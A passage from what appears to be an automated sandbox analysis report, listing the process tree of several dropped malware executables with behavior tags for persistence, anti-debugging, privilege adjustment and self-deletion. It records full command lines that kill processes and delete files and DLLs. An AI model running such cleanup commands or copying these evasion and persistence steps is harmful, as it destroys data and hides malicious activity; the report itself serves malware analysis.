C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:22984

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:22864

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:22532

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:20124

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:9080

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:24016

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:17728

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:9220

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:23860

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:17796

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:19396

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:25224

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:24836

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:25504

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:25060

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:9840

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:27068

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:23212

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:27380

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:27300

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:27700

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:28412

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:28088

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:27216

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:22720

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:25304

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:4792

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:21440

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:26700

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:25840

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:28996

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:23200

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:30096

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:29848

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:30184

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:30284

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:21420

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:31032

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:31588

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:30824

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:30848

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:22216

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:27640

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:32224

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:21132

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:32644

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:17128

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:32872

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:32840

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:33464

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:29692

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:33636

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:33872

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:17240

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:34180

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:35520

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:35588

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:34708

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:31300

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:35972

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:36584

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:36012

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:36784

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:15800

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:34856

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:37608

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:35740

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:25776

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:37572

C:\Users\Admin\Documents\dpv0HABGt0NPuNaPflNPt3jl.exe
"C:\Users\Admin\Documents\dpv0HABGt0NPuNaPflNPt3jl.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4436

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im dpv0HABGt0NPuNaPflNPt3jl.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\dpv0HABGt0NPuNaPflNPt3jl.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:9464

C:\Windows\SysWOW64\taskkill.exe
taskkill /im dpv0HABGt0NPuNaPflNPt3jl.exe /f
4⤵
- Kills process with taskkill
PID:10172

C:\Users\Admin\Documents\wwtK2ldVqTsLKqWSGKnLs_0s.exe
"C:\Users\Admin\Documents\wwtK2ldVqTsLKqWSGKnLs_0s.exe"
2⤵
- Executes dropped EXE
PID:4636

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\6286259440.exe"
3⤵
PID:5848

C:\Users\Admin\AppData\Local\Temp\6286259440.exe
"C:\Users\Admin\AppData\Local\Temp\6286259440.exe"
4⤵
- Executes dropped EXE
PID:932

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\7198790465.exe"
3⤵
PID:8312

C:\Users\Admin\AppData\Local\Temp\7198790465.exe
"C:\Users\Admin\AppData\Local\Temp\7198790465.exe"
4⤵
- Loads dropped DLL
- Checks processor information in registry
PID:8500

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 7198790465.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7198790465.exe" & del C:\ProgramData\*.dll & exit
5⤵
PID:11988

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 7198790465.exe /f
6⤵
- Kills process with taskkill
PID:13140

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "wwtK2ldVqTsLKqWSGKnLs_0s.exe" /f & erase "C:\Users\Admin\Documents\wwtK2ldVqTsLKqWSGKnLs_0s.exe" & exit
3⤵
PID:9964

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "wwtK2ldVqTsLKqWSGKnLs_0s.exe" /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:7888

C:\Users\Admin\Documents\DByk7yL1K2ya79k5KoW5d5_a.exe
"C:\Users\Admin\Documents\DByk7yL1K2ya79k5KoW5d5_a.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2108

C:\Users\Admin\Documents\zveqJik4HncDR0deDGLdZBOn.exe
"C:\Users\Admin\Documents\zveqJik4HncDR0deDGLdZBOn.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5084

C:\Program Files (x86)\Company\NewProduct\inst001.exe
"C:\Program Files (x86)\Company\NewProduct\inst001.exe"
3⤵
- Executes dropped EXE
PID:4572

C:\Program Files (x86)\Company\NewProduct\cutm3.exe
"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
3⤵
- Executes dropped EXE
PID:844

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:500

C:\Users\Admin\Documents\gQAj91Ns6CDH5Bwr_zpXD9of.exe
"C:\Users\Admin\Documents\gQAj91Ns6CDH5Bwr_zpXD9of.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:588

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
"C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2876

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3716

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
PID:5304

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
PID:5580

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5984

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
PID:5756

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
PID:6128

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
PID:5172

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Executes dropped EXE
PID:6508

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:6876

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:3628

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:6792

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:5888

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:5792

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2880

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:652

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:4552

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6052

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:7396

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:7676

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:8168

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:7568

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:7892

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:4836

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
PID:2700

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:8660

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:9128

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:6564

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:9200

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:8692

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:9248

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:9756

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:9244

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:1000

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:10140

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:10404

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:10832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 10832 -s 24
4⤵
- Program crash
PID:9688

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:11252

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:11028

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:7816

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:1168

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:11764

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:11380

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:5856

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:12964

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13304

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13028

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:12532

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:4820

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:4948

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13264

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:11268

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:876

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:11984

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:4884

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13120

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13352

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13772

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:4352

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:13764

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:10428

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:14312

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:14508

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:14996

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:14900

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:15388

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:15840

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
3⤵
PID:14764

C:\Users\Admin\Documents\BLeAlKR616qLUFLzGxcyzC8S.exe
